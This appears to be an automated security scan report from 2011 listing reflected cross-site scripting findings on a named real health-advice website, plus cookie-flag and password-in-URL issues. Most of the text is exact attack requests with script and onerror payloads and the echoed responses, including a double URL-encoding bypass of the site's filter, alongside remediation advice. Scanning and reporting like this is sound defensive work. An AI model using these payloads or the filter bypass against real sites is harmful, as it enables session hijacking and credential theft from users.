Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6dda4"><script>alert(1)</script>0013acc838a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /healthpage/mesenteric-artery-superior6dda4"><script>alert(1)</script>0013acc838a/x22 HTTP/1.1 Host: www.healthcaremagic.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 05 Jan 2011 03:53:03 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g Set-Cookie: JSESSIONID=BBC309A06C2AF0ED8957DC1A198679F1; Path=/; Secure Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 36696
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-tra ...[SNIP]... <meta name="description" content="Ask a doctor about x22 - mesenteric-artery-superior6dda4"><script>alert(1)</script>0013acc838a, Ask a question about x22 - mesenteric-artery-superior6dda4"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as text between TITLE tags. The payload b2f1b</title><script>alert(1)</script>ac6de4575db was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /healthpage/mesenteric-artery-superiorb2f1b</title><script>alert(1)</script>ac6de4575db/x22 HTTP/1.1 Host: www.healthcaremagic.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 05 Jan 2011 03:53:06 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g Set-Cookie: JSESSIONID=95F2BBFDAF5D6A453C7BEA93DD7C03CF; Path=/; Secure Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 36731
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-tra ...[SNIP]... <title>x22 - mesenteric-artery-superiorb2f1b</title><script>alert(1)</script>ac6de4575db</title> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload e59cc<script>alert(1)</script>4f265d57011 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /healthpage/mesenteric-artery-superiore59cc<script>alert(1)</script>4f265d57011/x22 HTTP/1.1 Host: www.healthcaremagic.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 05 Jan 2011 03:53:05 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g Set-Cookie: JSESSIONID=9FACC9BB48C5AB7BA7AFE056B313BC20; Path=/; Secure Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 36689
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-tra ...[SNIP]... <h1 class="OrangeH1" style="border-bottom:none;padding-top:5px;"> X22 - mesenteric-artery-superiore59cc<script>alert(1)</script>4f265d57011 </h1> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fabe1%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e609238e3ac1 was submitted in the REST URL parameter 3. This input was echoed as fabe1"><script>alert(1)</script>609238e3ac1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /healthpage/mesenteric-artery-superior/x22fabe1%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e609238e3ac1 HTTP/1.1 Host: www.healthcaremagic.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 05 Jan 2011 03:53:10 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g Set-Cookie: JSESSIONID=3D37BC59AA1E2BD5664D58CBCDD02C5D; Path=/; Secure Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 30126
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
...[SNIP]... <meta name="keywords" content="No result found for x22fabe1"><script>alert(1)</script>609238e3ac1" /> ...[SNIP]...
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 55bcb%253cscript%253ealert%25281%2529%253c%252fscript%253e646a23c5b3e was submitted in the REST URL parameter 3. This input was echoed as 55bcb<script>alert(1)</script>646a23c5b3e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /healthpage/mesenteric-artery-superior/x2255bcb%253cscript%253ealert%25281%2529%253c%252fscript%253e646a23c5b3e HTTP/1.1 Host: www.healthcaremagic.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 05 Jan 2011 03:53:12 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g Set-Cookie: JSESSIONID=EB4ABB77D93587664162BB61EE1BD13E; Path=/; Secure Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 30112
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload c19db%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e13ba5314f16 was submitted in the REST URL parameter 3. This input was echoed as c19db</title><script>alert(1)</script>13ba5314f16 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /healthpage/mesenteric-artery-superior/x22c19db%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e13ba5314f16 HTTP/1.1 Host: www.healthcaremagic.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 05 Jan 2011 03:53:15 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g Set-Cookie: JSESSIONID=A565456F690F28353A766E4209618646; Path=/; Secure Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 30380
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
...[SNIP]... <title>No result found for x22c19db</title><script>alert(1)</script>13ba5314f16</title> ...[SNIP]...
1.7. https://www.healthcaremagic.com/healthpage/mesenteric-artery-superior/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://www.healthcaremagic.com
Path:
/healthpage/mesenteric-artery-superior/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 42830"><img%20src%3da%20onerror%3dalert(1)>6ec3d1a005e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 42830"><img src=a onerror=alert(1)>6ec3d1a005e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /healthpage/mesenteric-artery-superior/x22?42830"><img%20src%3da%20onerror%3dalert(1)>6ec3d1a005e=1 HTTP/1.1 Host: www.healthcaremagic.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 05 Jan 2011 03:52:29 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g Set-Cookie: JSESSIONID=AFDFB02A85D80BB560ED01A7E482BD90; Path=/; Secure Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 38042
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-tra ...[SNIP]... <meta name="description" content="Ask a doctor about x22?42830"><img src=a onerror=alert(1)>6ec3d1a005e=1 - mesenteric-artery-superior, Ask a question about x22?42830"> ...[SNIP]...
1.8. https://www.healthcaremagic.com/healthpage/mesenteric-artery-superior/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://www.healthcaremagic.com
Path:
/healthpage/mesenteric-artery-superior/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 7969e<img%20src%3da%20onerror%3dalert(1)>e7a34a61d91 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 7969e<img src=a onerror=alert(1)>e7a34a61d91 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /healthpage/mesenteric-artery-superior/x22?7969e<img%20src%3da%20onerror%3dalert(1)>e7a34a61d91=1 HTTP/1.1 Host: www.healthcaremagic.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 05 Jan 2011 03:52:45 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g Set-Cookie: JSESSIONID=FCE9A69429063DC07915BCAC36789700; Path=/; Secure Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 38677
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-tra ...[SNIP]... <h1 class="OrangeH1" style="border-bottom:none;padding-top:5px;"> X22?7969e<img src=a onerror=alert(1)>e7a34a61d91=1 - mesenteric-artery-superior </h1> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload d163f<script>alert(1)</script>be4fb890234 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /healthpage/mesenteric-artery-superiord163f<script>alert(1)</script>be4fb890234/x3c/cite/x3e/x3cspan HTTP/1.1 Host: www.healthcaremagic.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 05 Jan 2011 03:53:04 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g Set-Cookie: JSESSIONID=7D5895550895EFB501250067FC6FFEEB; Path=/; Secure Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 29866
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload f7a7a<script>alert(1)</script>f14ffc5caea was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /healthpage/mesenteric-artery-superior/x3cf7a7a<script>alert(1)</script>f14ffc5caea/cite/x3e/x3cspan HTTP/1.1 Host: www.healthcaremagic.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 05 Jan 2011 03:53:06 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g Set-Cookie: JSESSIONID=78DD2E6FDF0C31AE26D8D1739B179C3B; Path=/; Secure Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 29847
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 15c6e<script>alert(1)</script>30069884a6b was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /healthpage/mesenteric-artery-superior/x3c/cite15c6e<script>alert(1)</script>30069884a6b/x3e/x3cspan HTTP/1.1 Host: www.healthcaremagic.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 05 Jan 2011 03:53:09 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g Set-Cookie: JSESSIONID=41BC1229FEA7C163ECC7BC5095D8F91F; Path=/; Secure Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 29889
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the HTML document as plain text between tags. The payload 2761f<script>alert(1)</script>a54d375f08f was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /healthpage/mesenteric-artery-superior/x3c/cite/x3e2761f<script>alert(1)</script>a54d375f08f/x3cspan HTTP/1.1 Host: www.healthcaremagic.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 05 Jan 2011 03:53:12 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g Set-Cookie: JSESSIONID=9B7BF6543B4E52DA797B79F7BD5F1F2C; Path=/; Secure Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 30005
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 662a4%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5c0bf228193 was submitted in the REST URL parameter 6. This input was echoed as 662a4"><script>alert(1)</script>5c0bf228193 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 6 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /healthpage/mesenteric-artery-superior/x3c/cite/x3e/x3cspan662a4%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5c0bf228193 HTTP/1.1 Host: www.healthcaremagic.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 05 Jan 2011 03:53:16 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g Set-Cookie: JSESSIONID=63E26E9CFC9B4214120AC73E14B2757B; Path=/; Secure Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 30379
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
...[SNIP]... <meta name="keywords" content="No result found for x3cspan662a4"><script>alert(1)</script>5c0bf228193" /> ...[SNIP]...
The value of REST URL parameter 6 is copied into the HTML document as text between TITLE tags. The payload d37f6%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6faa36d6f50 was submitted in the REST URL parameter 6. This input was echoed as d37f6</title><script>alert(1)</script>6faa36d6f50 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 6 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /healthpage/mesenteric-artery-superior/x3c/cite/x3e/x3cspand37f6%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6faa36d6f50 HTTP/1.1 Host: www.healthcaremagic.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 05 Jan 2011 03:53:21 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g Set-Cookie: JSESSIONID=88334516DF074E8E5F7879D9A74073F2; Path=/; Secure Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 30495
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
...[SNIP]... <title>No result found for x3cspand37f6</title><script>alert(1)</script>6faa36d6f50</title> ...[SNIP]...
The value of REST URL parameter 6 is copied into the HTML document as plain text between tags. The payload 73fc1%253cscript%253ealert%25281%2529%253c%252fscript%253e937e1303d85 was submitted in the REST URL parameter 6. This input was echoed as 73fc1<script>alert(1)</script>937e1303d85 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 6 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /healthpage/mesenteric-artery-superior/x3c/cite/x3e/x3cspan73fc1%253cscript%253ealert%25281%2529%253c%252fscript%253e937e1303d85 HTTP/1.1 Host: www.healthcaremagic.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 05 Jan 2011 03:53:18 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g Set-Cookie: JSESSIONID=EC102F88010E00F6D670A0A08887DE39; Path=/; Secure Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 30400
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.16. https://www.healthcaremagic.com/healthpage/mesenteric-artery-superior/x3c/cite/x3e/x3cspan [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3b80a"><img%20src%3da%20onerror%3dalert(1)>21d6995f9e7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 3b80a"><img src=a onerror=alert(1)>21d6995f9e7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /healthpage/mesenteric-artery-superior/x3c/cite/x3e/x3cspan?3b80a"><img%20src%3da%20onerror%3dalert(1)>21d6995f9e7=1 HTTP/1.1 Host: www.healthcaremagic.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 05 Jan 2011 03:52:32 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g Set-Cookie: JSESSIONID=04FDBDB86CB4423CEA968F812B744639; Path=/; Secure Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 38899
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-tra ...[SNIP]... <meta name="description" content="Ask a doctor about x3cspan?3b80a"><img src=a onerror=alert(1)>21d6995f9e7=1 - mesenteric-artery-superior/x3c/cite/x3e, Ask a question about x3cspan?3b80a"> ...[SNIP]...
1.17. https://www.healthcaremagic.com/healthpage/mesenteric-artery-superior/x3c/cite/x3e/x3cspan [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 2c12e<img%20src%3da%20onerror%3dalert(1)>868459dc1df was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 2c12e<img src=a onerror=alert(1)>868459dc1df in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /healthpage/mesenteric-artery-superior/x3c/cite/x3e/x3cspan?2c12e<img%20src%3da%20onerror%3dalert(1)>868459dc1df=1 HTTP/1.1 Host: www.healthcaremagic.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 05 Jan 2011 03:52:47 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g Set-Cookie: JSESSIONID=28A65231B571B050189365B2076A0069; Path=/; Secure Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 38969
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-tra ...[SNIP]... <h1 class="OrangeH1" style="border-bottom:none;padding-top:5px;"> X3cspan?2c12e<img src=a onerror=alert(1)>868459dc1df=1 - mesenteric-artery-superior/x3c/cite/x3e </h1> ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Issue background
If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.
Issue remediation
The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.
Request
GET /web/jsp/common/loginajax.jsp?d=1294229741311 HTTP/1.1 Host: www.healthcaremagic.com Connection: keep-alive Referer: https://www.healthcaremagic.com/healthpage/mesenteric-artery-superior6dda4%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E0013acc838a/x22 Content-Type: application/x-www-form-urlencoded Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=38225A642A4CB7B1908C13092050B989
The application uses the GET method to submit passwords, which are transmitted within the query string of the requested URL. Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing passords into the URL increases the risk that they will be captured by an attacker.
Issue remediation
All forms submitting passwords should use the POST method. To achieve this, you should specify the method attribute of the FORM tag as method="POST". It may also be necessary to modify the corresponding server-side form handler to ensure that submitted passwords are properly retrieved from the message body, rather than the URL.
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
